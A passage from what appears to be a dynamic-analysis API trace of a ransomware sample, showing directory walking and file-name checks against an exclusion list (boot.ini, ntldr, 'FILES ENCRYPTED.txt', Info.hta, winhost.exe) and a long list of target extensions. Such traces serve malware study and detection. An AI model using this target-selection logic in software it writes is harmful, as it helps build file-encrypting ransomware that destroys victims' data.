ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.827] FindNextFileW (in: hFindFile=0x3ed12e0, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0062.827] FindClose (in: hFindFile=0x3ed12e0 | out: hFindFile=0x3ed12e0) returned 1 [0062.828] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ee36a0 | out: hHeap=0x4b0000) returned 1 [0062.828] FindNextFileW (in: hFindFile=0x3ed12a0, lpFindFileData=0x33ef58c | out: lpFindFileData=0x33ef58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0062.828] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3ee36a0 [0062.828] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed12e0 [0062.828] FindNextFileW (in: hFindFile=0x3ed12e0, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.828] FindNextFileW (in: hFindFile=0x3ed12e0, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0062.829] FindClose (in: hFindFile=0x3ed12e0 | out: hFindFile=0x3ed12e0) returned 1 [0062.829] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ee36a0 | out: hHeap=0x4b0000) returned 1 [0062.829] FindNextFileW (in: hFindFile=0x3ed12a0, lpFindFileData=0x33ef58c | out: lpFindFileData=0x33ef58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0062.829] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3ee36a0 [0062.829] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed12e0 [0062.829] FindNextFileW (in: hFindFile=0x3ed12e0, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.829] FindNextFileW (in: hFindFile=0x3ed12e0, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0062.830] FindClose (in: hFindFile=0x3ed12e0 | out: hFindFile=0x3ed12e0) returned 1 [0062.830] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ee36a0 | out: hHeap=0x4b0000) returned 1 [0062.830] FindNextFileW (in: hFindFile=0x3ed12a0, lpFindFileData=0x33ef58c | out: lpFindFileData=0x33ef58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0062.830] FindClose (in: hFindFile=0x3ed12a0 | out: hFindFile=0x3ed12a0) returned 1 [0062.830] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb0048 | out: hHeap=0x4b0000) returned 1 [0062.830] FindNextFileW (in: hFindFile=0x5a2d78, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0062.830] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3eb0048 [0062.836] FindNextFileW (in: hFindFile=0x3ed12e0, lpFindFileData=0x33ef58c | out: lpFindFileData=0x33ef58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.836] FindNextFileW (in: hFindFile=0x3ed12e0, lpFindFileData=0x33ef58c | out: lpFindFileData=0x33ef58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0063.322] lstrcmpiW (lpString1=".2020", lpString2="y.xml") returned -1 [0063.322] lstrlenW (lpString="ipscsy.xml") returned 10 [0063.322] lstrcmpiW (lpString1="boot.ini", lpString2="ipscsy.xml") returned -1 [0063.322] lstrcmpiW (lpString1="bootfont.bin", lpString2="ipscsy.xml") returned -1 [0063.322] lstrcmpiW (lpString1="ntldr", lpString2="ipscsy.xml") returned 1 [0063.322] lstrcmpiW (lpString1="ntdetect.com", lpString2="ipscsy.xml") returned 1 [0063.322] lstrcmpiW (lpString1="io.sys", lpString2="ipscsy.xml") returned -1 [0063.322] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ipscsy.xml") returned -1 [0063.322] lstrcmpiW (lpString1="Info.hta", lpString2="ipscsy.xml") returned -1 [0063.323] lstrcmpiW (lpString1="winhost.exe", lpString2="ipscsy.xml") returned 1 [0063.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0063.323] FindNextFileW (in: hFindFile=0x3ed1460, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0063.323] lstrlenW (lpString="ipsdan.xml") returned 10 [0063.323] lstrlenW (lpString=".1cd") returned 4 [0063.323] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.323] lstrlenW (lpString=".3ds") returned 4 [0063.323] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0063.324] lstrlenW (lpString=".3fr") returned 4 [0063.326] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0063.327] lstrlenW (lpString=".3g2") returned 4 [0063.328] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0063.328] lstrlenW (lpString=".3gp") returned 4 [0063.328] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0063.328] lstrlenW (lpString=".7z") returned 3 [0063.328] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.328] lstrlenW (lpString=".accda") returned 6 [0063.328] lstrcmpiW (lpString1=".accda", lpString2="an.xml") returned -1 [0063.328] lstrlenW (lpString=".accdb") returned 6 [0063.329] lstrcmpiW (lpString1=".accdb", lpString2="an.xml") returned -1 [0063.329] lstrlenW (lpString=".accdc") returned 6 [0063.329] lstrcmpiW (lpString1=".accdc", lpString2="an.xml") returned -1 [0063.329] lstrlenW (lpString=".accde") returned 6 [0063.329] lstrcmpiW (lpString1=".accde", lpString2="an.xml") returned -1 [0063.329] lstrlenW (lpString=".accdt") returned 6 [0063.329] lstrcmpiW (lpString1=".accdt", lpString2="an.xml") returned -1 [0063.329] lstrlenW (lpString=".accdw") returned 6 [0063.329] lstrcmpiW (lpString1=".accdw", lpString2="an.xml") returned -1 [0063.329] lstrlenW (lpString=".adb") returned 4 [0063.329] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0063.329] lstrlenW (lpString=".adp") returned 4 [0063.329] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0063.329] lstrlenW (lpString=".ai") returned 3 [0063.329] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0063.329] lstrlenW (lpString=".ai3") returned 4 [0063.329] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0063.329] lstrlenW (lpString=".ai4") returned 4 [0063.329] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0063.329] lstrlenW (lpString=".ai5") returned 4 [0063.329] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0063.329] lstrlenW (lpString=".ai6") returned 4 [0063.329] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0063.329] lstrlenW (lpString=".ai7") returned 4 [0063.329] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0063.329] lstrlenW (lpString=".ai8") returned 4 [0063.329] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0063.329] lstrlenW (lpString=".anim") returned 5 [0063.329] lstrcmpiW (lpString1=".anim", lpString2="n.xml") returned -1 [0063.330] lstrlenW (lpString=".arw") returned 4 [0063.330] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0063.330] lstrlenW (lpString=".as") returned 3 [0063.330] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0063.330] lstrlenW (lpString=".asa") returned 4 [0063.330] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0063.330] lstrlenW (lpString=".asc") returned 4 [0063.330] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0063.330] lstrlenW (lpString=".ascx") returned 5 [0063.330] lstrcmpiW (lpString1=".ascx", lpString2="n.xml") returned -1 [0063.330] lstrlenW (lpString=".asm") returned 4 [0063.330] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0063.330] lstrlenW (lpString=".asmx") returned 5 [0063.330] lstrcmpiW (lpString1=".asmx", lpString2="n.xml") returned -1 [0063.330] lstrlenW (lpString=".asp") returned 4 [0063.330] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0063.330] lstrlenW (lpString=".aspx") returned 5 [0063.330] lstrcmpiW (lpString1=".aspx", lpString2="n.xml") returned -1 [0063.330] lstrlenW (lpString=".asr") returned 4 [0063.330] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0063.330] lstrlenW (lpString=".asx") returned 4 [0063.330] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0063.330] lstrlenW (lpString=".avi") returned 4 [0063.330] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0063.330] lstrlenW (lpString=".avs") returned 4 [0063.330] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0063.330] lstrlenW (lpString=".backup") returned 7 [0063.330] lstrcmpiW (lpString1=".backup", lpString2="dan.xml") returned -1 [0063.330] lstrlenW (lpString=".bak") returned 4 [0063.331] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0063.331] lstrlenW (lpString=".bay") returned 4 [0063.331] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0063.331] lstrlenW (lpString=".bd") returned 3 [0063.331] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0063.331] lstrlenW (lpString=".bin") returned 4 [0063.331] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0063.331] lstrlenW (lpString=".bmp") returned 4 [0063.331] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0063.331] lstrlenW (lpString=".bz2") returned 4 [0063.331] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.331] lstrlenW (lpString=".c") returned 2 [0063.331] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0063.331] lstrlenW (lpString=".cdr") returned 4 [0063.331] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0063.331] lstrlenW (lpString=".cer") returned 4 [0063.331] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0063.331] lstrlenW (lpString=".cf") returned 3 [0063.331] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0063.331] lstrlenW (lpString=".cfc") returned 4 [0063.331] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0063.331] lstrlenW (lpString=".cfm") returned 4 [0063.331] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0063.331] lstrlenW (lpString=".cfml") returned 5 [0063.331] lstrcmpiW (lpString1=".cfml", lpString2="n.xml") returned -1 [0063.331] lstrlenW (lpString=".cfu") returned 4 [0063.331] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0063.331] lstrlenW (lpString=".chm") returned 4 [0063.332] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0064.363] lstrlenW (lpString=".cin") returned 4 [0064.364] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0064.364] lstrlenW (lpString=".class") returned 6 [0064.364] lstrcmpiW (lpString1=".class", lpString2="an.xml") returned -1 [0064.364] lstrlenW (lpString=".clx") returned 4 [0064.364] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0064.364] lstrlenW (lpString=".config") returned 7 [0064.364] lstrcmpiW (lpString1=".config", lpString2="dan.xml") returned -1 [0064.364] lstrlenW (lpString=".cpp") returned 4 [0064.364] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0064.364] lstrlenW (lpString=".cr2") returned 4 [0064.364] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0064.364] lstrlenW (lpString=".crt") returned 4 [0064.364] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0064.364] lstrlenW (lpString=".crw") returned 4 [0064.364] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0064.364] lstrlenW (lpString=".cs") returned 3 [0064.364] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0064.364] lstrlenW (lpString=".css") returned 4 [0064.364] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0064.364] lstrlenW (lpString=".csv") returned 4 [0064.364] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0064.364] lstrlenW (lpString=".cub") returned 4 [0064.364] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0064.364] lstrlenW (lpString=".dae") returned 4 [0064.364] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0064.364] lstrlenW (lpString=".dat") returned 4 [0064.364] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0064.364] lstrlenW (lpString=".db") returned 3 [0064.364] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0064.365] lstrlenW (lpString=".dbf") returned 4 [0064.365] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.365] lstrlenW (lpString=".dbx") returned 4 [0064.365] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0064.365] lstrlenW (lpString=".dc3") returned 4 [0064.365] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0064.365] lstrlenW (lpString=".dcm") returned 4 [0064.365] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0064.365] lstrlenW (lpString=".dcr") returned 4 [0064.365] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0064.365] lstrlenW (lpString=".der") returned 4 [0064.365] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0064.365] lstrlenW (lpString=".dib") returned 4 [0064.365] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0064.365] lstrlenW (lpString=".dic") returned 4 [0064.365] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0064.365] lstrlenW (lpString=".dif") returned 4 [0064.365] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0064.365] lstrlenW (lpString=".divx") returned 5 [0064.365] lstrcmpiW (lpString1=".divx", lpString2="n.xml") returned -1 [0064.365] lstrlenW (lpString=".djvu") returned 5 [0064.365] lstrcmpiW (lpString1=".djvu", lpString2="n.xml") returned -1 [0064.365] lstrlenW (lpString=".dng") returned 4 [0064.365] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0064.365] lstrlenW (lpString=".doc") returned 4 [0064.365] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.365] lstrlenW (lpString=".docm") returned 5 [0064.365] lstrcmpiW (lpString1=".docm", lpString2="n.xml") returned -1 [0064.365] lstrlenW (lpString=".docx") returned 5 [0064.366] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0064.366] lstrlenW (lpString=".dot") returned 4 [0064.366] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0064.366] lstrlenW (lpString=".dotm") returned 5 [0064.366] lstrcmpiW (lpString1=".dotm", lpString2="n.xml") returned -1 [0064.366] lstrlenW (lpString=".dotx") returned 5 [0064.366] lstrcmpiW (lpString1=".dotx", lpString2="n.xml") returned -1 [0064.366] lstrlenW (lpString=".dpx") returned 4 [0064.366] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0064.366] lstrlenW (lpString=".dqy") returned 4 [0064.366] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0064.366] lstrlenW (lpString=".dsn") returned 4 [0064.366] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0064.366] lstrlenW (lpString=".dt") returned 3 [0064.366] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0064.366] lstrlenW (lpString=".dtd") returned 4 [0064.366] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0064.366] lstrlenW (lpString=".dwg") returned 4 [0064.366] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0064.366] lstrlenW (lpString=".dwt") returned 4 [0064.366] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0064.366] lstrlenW (lpString=".dx") returned 3 [0064.366] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0064.366] lstrlenW (lpString=".dxf") returned 4 [0064.366] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0064.366] lstrlenW (lpString=".edml") returned 5 [0064.366] lstrcmpiW (lpString1=".edml", lpString2="n.xml") returned -1 [0064.366] lstrlenW (lpString=".efd") returned 4 [0064.366] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0064.366] lstrlenW (lpString=".elf") returned 4 [0064.367] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0064.367] lstrlenW (lpString=".emf") returned 4 [0064.367] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0064.367] lstrlenW (lpString=".emz") returned 4 [0064.367] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0064.367] lstrlenW (lpString=".epf") returned 4 [0064.367] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0064.367] lstrlenW (lpString=".eps") returned 4 [0064.367] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0064.367] lstrlenW (lpString=".epsf") returned 5 [0064.367] lstrcmpiW (lpString1=".epsf", lpString2="n.xml") returned -1 [0064.367] lstrlenW (lpString=".epsp") returned 5 [0064.367] lstrcmpiW (lpString1=".epsp", lpString2="n.xml") returned -1 [0064.367] lstrlenW (lpString=".erf") returned 4 [0064.367] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0064.367] lstrlenW (lpString=".exr") returned 4 [0064.367] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0064.367] lstrlenW (lpString=".f4v") returned 4 [0064.367] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0064.367] lstrlenW (lpString=".fido") returned 5 [0064.367] lstrcmpiW (lpString1=".fido", lpString2="n.xml") returned -1 [0064.367] lstrlenW (lpString=".flm") returned 4 [0064.367] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0064.367] lstrlenW (lpString=".flv") returned 4 [0064.367] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0064.367] lstrlenW (lpString=".frm") returned 4 [0064.367] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0064.367] lstrlenW (lpString=".fxg") returned 4 [0064.367] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0064.367] lstrlenW (lpString=".geo") returned 4 [0064.368] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0064.368] lstrlenW (lpString=".gif") returned 4 [0064.368] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0064.368] lstrlenW (lpString=".grs") returned 4 [0064.368] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0064.368] lstrlenW (lpString=".gz") returned 3 [0064.368] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0064.368] lstrlenW (lpString=".h") returned 2 [0064.368] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0064.368] lstrlenW (lpString=".hdr") returned 4 [0064.368] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0064.368] lstrlenW (lpString=".hpp") returned 4 [0064.368] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0064.368] lstrlenW (lpString=".hta") returned 4 [0064.368] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0064.368] lstrlenW (lpString=".htc") returned 4 [0064.368] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0064.368] lstrlenW (lpString=".htm") returned 4 [0064.368] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0064.368] lstrlenW (lpString=".html") returned 5 [0064.368] lstrcmpiW (lpString1=".html", lpString2="n.xml") returned -1 [0064.368] lstrlenW (lpString=".icb") returned 4 [0064.368] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0064.368] lstrlenW (lpString=".ics") returned 4 [0064.368] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0064.368] lstrlenW (lpString=".iff") returned 4 [0064.368] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0064.368] lstrlenW (lpString=".inc") returned 4 [0064.368] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0064.369] lstrlenW (lpString=".indd") returned 5 [0064.369] lstrcmpiW (lpString1=".indd", lpString2="n.xml") returned -1 [0064.369] lstrlenW (lpString=".ini") returned 4 [0064.369] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0064.369] lstrlenW (lpString=".iqy") returned 4 [0064.369] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0064.369] lstrlenW (lpString=".j2c") returned 4 [0064.369] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0064.369] lstrlenW (lpString=".j2k") returned 4 [0064.369] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0064.369] lstrlenW (lpString=".java") returned 5 [0064.369] lstrcmpiW (lpString1=".java", lpString2="n.xml") returned -1 [0064.369] lstrlenW (lpString=".jp2") returned 4 [0064.369] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0064.369] lstrlenW (lpString=".jpc") returned 4 [0064.369] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0064.369] lstrlenW (lpString=".jpe") returned 4 [0064.369] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0064.369] lstrlenW (lpString=".jpeg") returned 5 [0064.369] lstrcmpiW (lpString1=".jpeg", lpString2="n.xml") returned -1 [0064.369] lstrlenW (lpString=".jpf") returned 4 [0064.369] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0064.369] lstrlenW (lpString=".jpg") returned 4 [0064.369] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.369] lstrlenW (lpString=".jpx") returned 4 [0064.369] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0064.369] lstrlenW (lpString=".js") returned 3 [0064.369] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0064.369] lstrlenW (lpString=".jsf") returned 4 [0064.370] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 